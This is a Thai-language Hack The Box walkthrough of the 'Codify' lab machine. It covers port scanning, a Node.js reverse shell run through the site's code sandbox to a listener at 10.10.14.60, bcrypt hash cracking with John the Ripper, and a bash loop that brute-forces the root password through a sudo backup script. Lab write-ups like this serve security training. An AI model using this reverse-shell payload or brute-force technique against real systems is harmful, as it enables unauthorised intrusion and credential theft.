สวัสดีครับ วันนี้มาเล่น Hack The Box กันครับ เป็น Box ตามลิงค์นี้ Codify เราได้เริ่มต้นด้วยการใช้ Nmap สำหรับการค้นหาพอร์ตและ URL ที่น่าสนใจ ซึ่งได้นำเราไปสู่จุดเริ่มต้นที่ดีในการค้นพบจุดเข้าที่เป็นไปได้ การใช้ช่องโหว่ของ Remote Code Execution บนหน้าเว็บไซต์ได้ช่วยให้เราสามารถเรียกใช้ shell และเข้าควบคุมระบบเบื้องต้นได้สำเร็จ ด้วยสิทธิ์ที่ได้รับ เราได้ทำการค้นหาไฟล์สำคัญที่สามารถเปิดเผยข้อมูลที่เป็นความลับหรือข้อมูลที่สำคัญ การทดลองกับ hash และรหัสผ่านทั้งในรูปแบบออฟไลน์และออนไลน์ได้ช่วยเราหาคำตอบสุดท้ายคือ ‘flag’ ซึ่งเป็นหลักฐานของความสำเร็จในการทดสอบ
Kittinat Setthaworn
Cybersecurity Analyst and Auditor
การรวบรวมข้อมูลเป้าหมาย
https://app.hackthebox.com/machines/574
การรวบรวมข้อมูลเป้าหมาย เป็นกระบวนการที่มีความสำคัญในขั้นตอนการทดสอบการเจาะระบบหรือการประเมินความเสี่ยงด้านความปลอดภัยของเครือข่ายคอมพิวเตอร์ โดยทั่วไปแล้ว Nmap (หรือ Network Mapper) เป็นเครื่องมือสแกนเครือข่ายที่ใช้ในการค้นหาอุปกรณ์ที่เชื่อมต่อในเครือข่าย ระบุบริการที่รันอยู่บนเซิร์ฟเวอร์เหล่านั้น ตรวจจับระบบปฏิบัติการที่ใช้
- เริ่มจากการ Scan หา Port และ Services ที่เปิดและถูกใช้งาน
nmap -sV -A 10.10.11.239
- จะเจอ Port ที่เปิด 3 Port ได้แก่ 22, 80, 3000 จะสังเกตุได้ว่า Port 80 มีการ Redirect ไปยัง URL http://codify.htb
- ทดลองเปิด Browser และเข้า http://codify.htb จะสามารถเข้าหน้า Web ได้ดังรูป
- เมื่อทำการสำรวจหน้าเว็บไซต์จะได้รายละเอียดดังต่อไปนี้
- หน้าเว็บจะเป็นเว็บที่ใช้ Execute Code NodeJS (Port 3000)
- หน้าเว็บมีรายละเอียดเกี่ยวกับ Modules ที่ถูก Whitelist และ Restriction
ทดสอบโจมตี Remote Execution
- จากนั้นให้ทำการ Run command เพื่อรอรับ Connection
nc -nlvp (8888)
- ที่ฝั่งหน้าเว็บ Editor ให้ Run
(function(){ var net = require("net"), cp = require("node:child_process"), sh = cp.spawn("/bin/bash", []); var client = new net.Socket(); client.connect(8888, "10.10.14.60", function(){ client.pipe(sh.stdin); sh.stdout.pipe(client); sh.stderr.pipe(client); }); return /a/; // Prevents the Node.js application from crashing })();
- เมื่อทำการ Run Code ด้านบนเสร็จจะมีการ Connect ไปที่ Port 8888 ที่เราเปิดไว้
- จากนั้นให้ใช้ทำการ Run code
python3 -c 'import pty;pty.spawn("/bin/bash")'
การค้นหาข้อมูลเพิ่มเติมสำหรับการขยายผล
- จากนั้นให้เราสำรวจข้อมูลทุกไฟล์ที่สามารถเข้าถึงได้ แต่เราพบว่าไปที่ path /var/www/contacts นั้นมีไฟล์ tickets.db ที่มีข้อมูลบัญชีผู้ใช้ มันมี user joshua ที่หน้าสนใจ
การค้นหารหัสผ่านแบบ Offline – User Flag
- จาก Hash ที่เราพบ มีความน่าสนใจในการค้นหา password ที่อาจเกี่ยวข้อง โดยทำการสร้าง text ไฟล์ โดยใส่ข้อความ
$2a$12$SOn8Pf6z8fO/nVsNbAAequ/P6vLRJJl7gCUEiYBU2iLHn4G/p/Zw2
- จากนั้นให้ทำการตรวจสอบ Algorithm ที่ใช้เข้ารหัสจะมีความเป็นไปได้ทั้ง 3 ตัว
- จากนั้นให้ทำการ Crack โดยใช้ John the ripper
john --format=bcrypt joshua.txt --wordlist=/use/share/wordlists/rockyou.txt
- ผลลัพธ์ที่ได้คือ User Joshua/spongebob1 จากนั้นให้เข้าไปที่ User Joshua และให้ทำการอ่านไฟล์ user.txt จะได้ user flag มา
su - joshua
#หรือ
ssh ไปที่ joshua ก็ได้
- ให้ทำการ run command จะเห็นว่า User joshua สามารถใช้งาน sudo /opt/scripts/mysql-backup.sh ได้
sudo -l
- จากนั้นให้ไปที่ Path /opt/scripts/ เพื่อทำการอ่านไฟล์ shell script ชื่อ mysql-backup.sh
cat /opt/scripts/mysql-backup.sh
การค้นหารหัสผ่านแบบ Online – Root Flag
- จาก script นี้จะมี user root ให้ แต่ password อยู่ในไฟล์ /root/.creds จากนั้นให้เราทำการ Bruteforce โดยใช้ Shell script นี้
password="" while true; do password_check=$(echo "$password" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l) if [ $password_check -gt 2 ] then echo "$password" break fi for char in {a..z} {A..Z} {0..9}; do result_number_of_lines=$(echo "$password$char*" | sudo /opt/scripts/mysql-backup.sh 2>&1 | wc -l) if [ $result_number_of_lines -gt 2 ] then password="$password$char" continue fi done done
- เมื่อทำการ Run code เสร็จจะได้ MySQL Password มา
kljh12k3jhaskjh12kjh3
- ให้เราทำการนำ MySQL Password ไป run script backup mysql
- ให้ทดสอบทำการ switch user ไปที่ root และใช้ mysql password เพื่อทดสอบเข้าใช้งาน
su - root
- จากนั้นให้ทำการอ่านไฟล์ root.txt
จบแล้วครับบบบบบ….
อ้างอิง
- https://breachforums.is/Thread-HTB-Codify?page=4
- https://www.revshells.com/
- https://tryhackme.com/room/furthernmap
- https://www.freecodecamp.org/news/crack-passwords-using-john-the-ripper-pentesting-tutorial/
- https://linuxcommandlibrary.com/man/hashid
- https://www.w3schools.com/nodejs/